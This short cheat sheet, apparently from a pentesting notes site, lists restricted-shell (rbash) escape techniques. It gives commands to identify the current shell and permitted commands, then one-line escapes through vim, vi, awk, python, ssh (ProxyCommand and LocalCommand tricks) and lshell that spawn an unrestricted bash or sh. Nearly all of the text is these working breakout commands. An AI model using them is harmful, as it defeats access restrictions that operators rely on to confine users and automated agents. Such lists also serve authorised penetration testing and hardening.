Restricted Shell Escapes
Determine what shell you are currently running in
echo $0 echo $SHELL-rbash
List commands you are permitted to run
compgen -cEscapes
VIM
vim
:set shell=/bin/bash
:shellVI
vi
:set shell=/bin/bash
:shellAWK
awk 'BEGIN {system("/bin/bash")}'Python
python -c 'import os; os.system("/bin/bash");'SSH
ssh ryuu@$host -t 'bash --noprofile'
ssh ryuu@$host -o ProxyCommand=';sh 0<&2 1>&2' xLocal SSH (SSH to yourself specifying command
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh hostlshell
echo os.system('/bin/bash')Last updated